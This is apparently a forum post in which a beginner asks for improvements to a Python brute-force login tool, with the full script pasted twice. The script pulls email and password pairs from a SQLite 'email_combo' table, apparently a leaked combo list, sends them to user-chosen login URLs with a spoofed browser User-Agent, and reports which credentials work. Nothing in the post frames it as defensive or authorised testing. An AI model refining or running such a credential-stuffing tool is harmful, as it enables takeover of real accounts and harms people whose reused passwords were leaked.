hello all i recently started a brute force tool and was seeking the guidence of a more experienced coder to mention any improvemnts, this is just the start and i am going to be constantly trying to improve the tool.
import us
import argparse
import configparser
import requests
import time
import sqlite3
# User-Agent and Headers
DEFAULT_HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept-Language": "en-US,en;q=0.9",
# Add any other necessary headers
}
# Session Management
session = requests.Session()
def connect_to_database(database_file):
"""Connect to SQLite database and return the connection and cursor objects."""
conn = sqlite3.connect(database_file)
cursor = conn.cursor()
return conn, cursor
def retrieve_credentials(cursor):
"""Retrieve usernames and passwords from the database and return as a list of tuples."""
cursor.execute("SELECT email, password FROM email_combo")
return cursor.fetchall()
def login_attempt(target_url, username, password, headers):
"""Send a login request and return the response."""
login_data = {"username": username, "password": password}
response = session.post(target_url, data=login_data, headers=headers)
return response
def handle_login_response(response, username, password):
"""Handle the login response and print appropriate messages."""
if "Login Successful" in response.text:
print(f"Successful login! Username: {username}, Password: {password}")
return True
else:
print(f"Failed login attempt. Username: {username}, Password: {password}")
return False
def close_database_connection(conn):
"""Close the database connection."""
conn.close()
def perform_login_brute_force(
target_url, database_file, delay_between_attempts, headers
):
"""Perform login brute force using credentials from the database."""
conn, cursor = connect_to_database(database_file)
credentials = retrieve_credentials(cursor)
num_attempts = 0
num_successful = 0
for username, password in credentials:
try:
# Throttling and Rate Limiting
time.sleep(delay_between_attempts)
# Send the login request
response = login_attempt(target_url, username, password, headers)
# Handling HTTP Errors
response.raise_for_status()
num_attempts += 1
# Check the response to determine if login was successful
if handle_login_response(response, username, password):
num_successful += 1
break
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
# Implement appropriate retry or error handling logic here
close_database_connection(conn)
# Display progress and results summary
print("Login brute force completed.")
print(f"Total attempts: {num_attempts}")
print(f"Successful logins: {num_successful}")
print(f"Remaining attempts: {len(credentials) - num_attempts}")
def read_config_file(config_file):
"""Read configuration from file and return a configparser.ConfigParser object."""
config = configparser.ConfigParser()
config.read(config_file)
return config
def prompt_target_url(target_urls):
"""Prompt the user to choose a target URL."""
print("Do you want to use your own target URL or choose from the list?")
print("1. Use my own target URL")
print("2. Choose from the list")
choice = input("Enter the corresponding number: ").strip()
if choice == "1":
target_url = input("Enter your target URL: ").strip()
return target_url
elif choice == "2":
print("Select a target URL:")
for i, url in enumerate(target_urls):
print(f"{i + 1}. {url}")
choice = input("Enter the corresponding number: ").strip()
if choice:
index = int(choice) - 1
if 0 <= index < len(target_urls):
return target_urls[index]
return None
def parse_arguments():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="Brute-force login tool.")
return parser.parse_args()
def main():
try:
# Parse command-line arguments
args = parse_arguments()
# Determine the configuration file path
script_dir = os.path.dirname(os.path.abspath(__file__))
config_file = os.path.join(script_dir, "config.ini")
# Read configuration from the file
config = read_config_file(config_file)
# Retrieve target URLs from the configuration
target_urls = []
if config.has_section("targets"):
target_urls = [value for key, value in config.items("targets")]
# Prompt the user to choose a target URL or use their own
target_url = prompt_target_url(target_urls)
if target_url is None:
target_urls = (
[]
) # Clear the target_urls list if the user chooses to use their own URL
elif target_url not in target_urls:
target_urls.append(target_url)
# Retrieve other values from the configuration
database_file = config.get("database", "file")
delay_between_attempts = config.getfloat("options", "delay")
headers = dict(DEFAULT_HEADERS)
if config.has_section("headers"):
for key, value in config.items("headers"):
headers[key.strip()] = value.strip()
# Perform login brute force for each target URL
for url in target_urls:
perform_login_brute_force(
url, database_file, delay_between_attempts, headers
)
except (configparser.Error, ValueError) as e:
print(f"Error reading configuration: {str(e)}")
except KeyboardInterrupt:
print("\nUser interrupted the execution.")
except Exception as e:
print(f"An error occurred: {str(e)}")
if __name__ == "__main__":
main()
import us
import argparse
import configparser
import requests
import time
import sqlite3
# User-Agent and Headers
DEFAULT_HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Accept-Language": "en-US,en;q=0.9",
# Add any other necessary headers
}
# Session Management
session = requests.Session()
def connect_to_database(database_file):
"""Connect to SQLite database and return the connection and cursor objects."""
conn = sqlite3.connect(database_file)
cursor = conn.cursor()
return conn, cursor
def retrieve_credentials(cursor):
"""Retrieve usernames and passwords from the database and return as a list of tuples."""
cursor.execute("SELECT email, password FROM email_combo")
return cursor.fetchall()
def login_attempt(target_url, username, password, headers):
"""Send a login request and return the response."""
login_data = {"username": username, "password": password}
response = session.post(target_url, data=login_data, headers=headers)
return response
def handle_login_response(response, username, password):
"""Handle the login response and print appropriate messages."""
if "Login Successful" in response.text:
print(f"Successful login! Username: {username}, Password: {password}")
return True
else:
print(f"Failed login attempt. Username: {username}, Password: {password}")
return False
def close_database_connection(conn):
"""Close the database connection."""
conn.close()
def perform_login_brute_force(
target_url, database_file, delay_between_attempts, headers
):
"""Perform login brute force using credentials from the database."""
conn, cursor = connect_to_database(database_file)
credentials = retrieve_credentials(cursor)
num_attempts = 0
num_successful = 0
for username, password in credentials:
try:
# Throttling and Rate Limiting
time.sleep(delay_between_attempts)
# Send the login request
response = login_attempt(target_url, username, password, headers)
# Handling HTTP Errors
response.raise_for_status()
num_attempts += 1
# Check the response to determine if login was successful
if handle_login_response(response, username, password):
num_successful += 1
break
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
# Implement appropriate retry or error handling logic here
close_database_connection(conn)
# Display progress and results summary
print("Login brute force completed.")
print(f"Total attempts: {num_attempts}")
print(f"Successful logins: {num_successful}")
print(f"Remaining attempts: {len(credentials) - num_attempts}")
def read_config_file(config_file):
"""Read configuration from file and return a configparser.ConfigParser object."""
config = configparser.ConfigParser()
config.read(config_file)
return config
def prompt_target_url(target_urls):
"""Prompt the user to choose a target URL."""
print("Do you want to use your own target URL or choose from the list?")
print("1. Use my own target URL")
print("2. Choose from the list")
choice = input("Enter the corresponding number: ").strip()
if choice == "1":
target_url = input("Enter your target URL: ").strip()
return target_url
elif choice == "2":
print("Select a target URL:")
for i, url in enumerate(target_urls):
print(f"{i + 1}. {url}")
choice = input("Enter the corresponding number: ").strip()
if choice:
index = int(choice) - 1
if 0 <= index < len(target_urls):
return target_urls[index]
return None
def parse_arguments():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="Brute-force login tool.")
return parser.parse_args()
def main():
try:
# Parse command-line arguments
args = parse_arguments()
# Determine the configuration file path
script_dir = os.path.dirname(os.path.abspath(__file__))
config_file = os.path.join(script_dir, "config.ini")
# Read configuration from the file
config = read_config_file(config_file)
# Retrieve target URLs from the configuration
target_urls = []
if config.has_section("targets"):
target_urls = [value for key, value in config.items("targets")]
# Prompt the user to choose a target URL or use their own
target_url = prompt_target_url(target_urls)
if target_url is None:
target_urls = (
[]
) # Clear the target_urls list if the user chooses to use their own URL
elif target_url not in target_urls:
target_urls.append(target_url)
# Retrieve other values from the configuration
database_file = config.get("database", "file")
delay_between_attempts = config.getfloat("options", "delay")
headers = dict(DEFAULT_HEADERS)
if config.has_section("headers"):
for key, value in config.items("headers"):
headers[key.strip()] = value.strip()
# Perform login brute force for each target URL
for url in target_urls:
perform_login_brute_force(
url, database_file, delay_between_attempts, headers
)
except (configparser.Error, ValueError) as e:
print(f"Error reading configuration: {str(e)}")
except KeyboardInterrupt:
print("\nUser interrupted the execution.")
except Exception as e:
print(f"An error occurred: {str(e)}")
if __name__ == "__main__":
main()